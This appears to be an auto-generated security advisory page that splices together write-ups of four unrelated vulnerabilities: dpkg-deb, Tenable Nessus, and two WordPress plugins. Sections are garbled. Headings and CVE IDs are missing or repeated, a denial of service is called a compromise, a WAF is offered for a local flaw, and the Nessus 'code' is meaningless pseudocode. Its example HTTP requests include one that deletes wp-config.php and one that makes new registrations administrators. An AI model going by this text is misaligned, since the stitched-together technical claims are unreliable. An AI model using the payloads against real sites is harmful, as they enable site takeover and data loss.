CVE-2025-6297: Exploitation of dpkg-deb Extraction Vulnerability
Overview

CVE-2025-6297 is a high severity vulnerability discovered in dpkg-deb, a software that is widely used in the implementation and management of .deb packages on Debian-based systems. This vulnerability could potentially lead to system compromise or data leakage, and therefore, it warrants immediate attention and action. It appears that the flaw revolves around the inability of dpkg-deb to sanitize directory permissions adequately, leading to potential Denial of Service (DoS) scenarios.

Vulnerability Summary

CVE ID: CVE-2025-6297
Severity: High (8.2 CVSS v3)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

dpkg-deb | All versions prior to the vendor patch

How the Exploit Works

The exploit takes advantage of dpkg-deb’s failure to sanitize directory permissions adequately when extracting a control member into a temporary directory. The process is documented as a safe operation, even on untrusted data. However, the lack of proper directory permissions’ sanitization may result in leaving temporary files behind on cleanup.
In scenarios where dpkg-deb commands are automated and repeatedly executed on adversarial .deb packages or with well-compressible files, placed inside a directory with permissions not allowing removal by a non-root user, this leads to a DoS scenario. The DoS scenario arises due to disk quota exhaustion or full disk conditions.

Conceptual Example Code

The conceptual example below demonstrates how the vulnerability might be exploited. It shows the creation of a malicious .deb package and its extraction using dpkg-deb.
```
# Create a malicious .deb package
$ echo "malicious content" > exploit
$ tar -cf control.tar exploit
$ ar -r malicious.deb control.tar
# Exploit the vulnerability
$ dpkg-deb -x malicious.deb /tmp/vulnerable_directory
```
Given the severity and potential impact of this vulnerability, it is recommended to apply the vendor patch immediately. If that is not immediately possible, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Nevertheless, these measures should not replace the need for patching.

Vulnerability Summary

CVE ID: CVE-2025-36630
Severity: High (8.4 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenable Nessus | Prior to 10.8.5

How the Exploit Works

The vulnerability is exploited by a non-administrative user who can overwrite arbitrary system files with the log content. This is possible because of inadequate control mechanisms within Tenable Nessus which incorrectly grants SYSTEM level privilege to non-administrative users. The overwritten files could contain sensitive data, which can result in data leakage or even a system compromise if critical system files are overwritten.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This pseudocode demonstrates how a malicious user may overwrite a system file with log content:
```
# Assume the user has already logged in and gained non-administrative access
# The malicious user decides to overwrite a system file with log content
use Tenable Nessus;
select log_content from logs;
overwrite system_file with log_content;
# The system file is now overwritten with the log content at SYSTEM privilege
```
Note: The above code is a conceptual example and does not represent actual exploit code.

Mitigation Guidance

Users are strongly advised to install the vendor-supplied patch that addresses this vulnerability, which is available for Tenable Nessus version 10.8.5 and onwards. If patching is not immediately possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and preventing the exploitation of this vulnerability.

Impact: Arbitrary file deletion potentially leading to remote code execution and system compromise

Affected Products

Product | Affected Versions

Forminator Forms – Contact Form, Payment Form & Custom Form Builder Plugin for WordPress | Up to and including 1.44.2

How the Exploit Works

The vulnerability lies in the ‘entry_delete_upload_files’ function of the Forminator Forms plugin. Due to insufficient file path validation, an unauthenticated attacker can include arbitrary file paths in a form submission. When the form submission is deleted-either manually by an Administrator or automatically via the plugin’s settings-the file specified in the arbitrary path will also be deleted.
This exploit can lead to remote code execution if a critical file-such as wp-config.php-is deleted. This file deletion can disrupt the normal operation of the WordPress site and potentially grant the attacker access to sensitive information, leading to system compromise or data leakage.

Conceptual Example Code

Below is a hypothetical example of an HTTP request that could exploit this vulnerability.
```
POST /forminator_forms/submit_form HTTP/1.1
Host: victim-website.com
Content-Type: multipart/form-data
{
"form_id": "123",
"field_id": "file_upload_field",
"file_path": "/absolute/path/to/wp-config.php"
}
```
In this example, the attacker uses the POST method to submit a form with an arbitrary file path pointing to the wp-config.php file. When the form is deleted, the wp-config.php file will also be deleted, potentially leading to remote code execution.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch immediately. In cases where this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to monitor and block malicious activity.

How the Exploit Works

The vulnerability lies in the doFieldAjaxAction() function used by the plugin, which lacks a proper capability check. This oversight allows authenticated attackers with Subscriber-level access to exploit AJAX actions that handle plugin settings, which are insufficiently protected. Consequently, the attackers can update arbitrary options on the WordPress site. For instance, they can modify the default role for registration to the administrator and enable user registration. This allows the attackers to register as administrators themselves, thereby gaining administrative user access to the vulnerable WordPress site.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is as follows:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: application/x-www-form-urlencoded
action=lead_form_data_collection_to_crm_plugin&task=update_option&option_name=default_role&option_value=administrator
```
In this example, the attacker sends a POST request to the admin-ajax.php file, which is used to process AJAX requests in WordPress. The action parameter is set to the vulnerable plugin’s handle, and the task parameter is set to update_option. The option_name parameter is set to default_role, and the option_value is set to administrator. This effectively changes the default user role to administrator.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it is available. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation.
